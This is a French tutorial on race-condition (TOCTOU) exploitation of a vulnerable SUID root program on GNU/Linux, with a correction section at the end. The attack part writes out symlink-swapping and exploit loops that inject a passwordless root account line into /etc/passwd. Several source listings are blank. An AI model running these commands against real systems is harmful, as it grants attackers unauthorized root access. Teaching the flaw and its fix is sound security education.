# Race Condition sur GNU/Linux
Race Condition sur GNU/Linux
Introduction
Une Race Condition peut se produire lorsque plusieurs processus accèdent et manipulent simultanément les même données. Cette vulnérabilité repose donc sur le fonctionnement multitâche du système d'exploitation.
Si un exécutable appartenant à l'utilisateur root avec le bit set-user-ID, SETUID ou SUID activé et, si cet exécutable présente une vulnérabilité de type Race Condition, alors un attaquant pourrais exécuter un processus parallèle pour réaliser une "race" contre cet exécutable vulnérable dans le but de modifier son comportement.
Rappel: Un exécutable avec le bit set-user-ID, SETUID ou SUID activé s'exécute toujours en tant qu'utilisateur propriétaire de cet exécutable, et ceci quel que soit l'utilisateur qui exécute cet exécutable.
Ce bit set-user-ID, SETUID ou SUID peut être activé grâce à l'outil
chmod
Ce bit est représenté par un 's' (en minuscule) en lieu et place du 'x'.
Exemple:
|
|
Cela signifie que quel que soit l'utilisateur qui exécutera la commande passwd, cet utilisateur l'exécutera avec les droits root.
Exploitation
Note: L'exploitation qui va suivre a été réalisé sur une Debian GNU/Linux 3.1 (Sarge) i386.
Voici le code source de notre programme vulnérable:
|
|
Après compilation, nous lui donnons les mêmes droits que la fonction passwd vue plus haut:
|
|
Time of Check to Time of Use
L'attaque que nous allons réaliser ici se nomme "Time of Check to Time of Use (TOCTOU)".
Nous pouvons schématiser cette attaque de cette façon:
|
|
Pour réaliser l'attaque, la Race Condition doit avoir lieu durant la partie nommée window.
Dans notre programme vulnérable (addmsg) "l'Action 1", le "Time Of Check" correspond à la fonction stat
Et "l'Action 2", le "Time Of Use" à la fonction fopen
Le but de notre exploitation est d'ajouter la ligne:
w00t:U6aMy0wojraho:0:0:w00t:/root:/bin/bash
dans le fichier /etc/passwd. La string U6aMy0wojraho correspond au hash pour un mot de passe vide et w00t correspond à l'username.
Pour savoir si l'attaque a été réalisé avec succès, nous devons écrire ce petit script sh que nous allons nommer "check.sh":
|
|
Note: /tmp/attacking est utilisé ici comme flag permettant de gérer les boucles qui vont suivre.
L'attaque
Dans un premier terminal, nous exécutons le script check.sh:
$ sh ./check.sh
Dans un second terminal, nous exécutons cette ligne de commande:
$ touch /home/sysc4ll/public.txt; while [ -e /tmp/attacking ]; do ln -sf /home/sysc4ll/public.txt /tmp/foobar; ln -sf /etc/passwd /tmp/foobar; done;
Puis, dans un troisième et dernier terminal:
$ while [ -e /tmp/attacking ]; do ./addmsg /tmp/foobar "w00t:U6aMy0wojraho:0:0:w00t:/root:/bin/bash"; done;
Après plusieurs ./addmsg: permission denied dans le troisième terminal, les boucles s'arrêtent, nous retrouvons le prompt:
|
|
Good !
Correction
Dans notre cas, pour empêcher la Race Condition, il nous faut corriger le code source de addmsg.c pour utiliser un file descriptor retourner par la fonction open
Ce file descriptor sera utilisé avec les fonctions: fstat et fdopen
|
|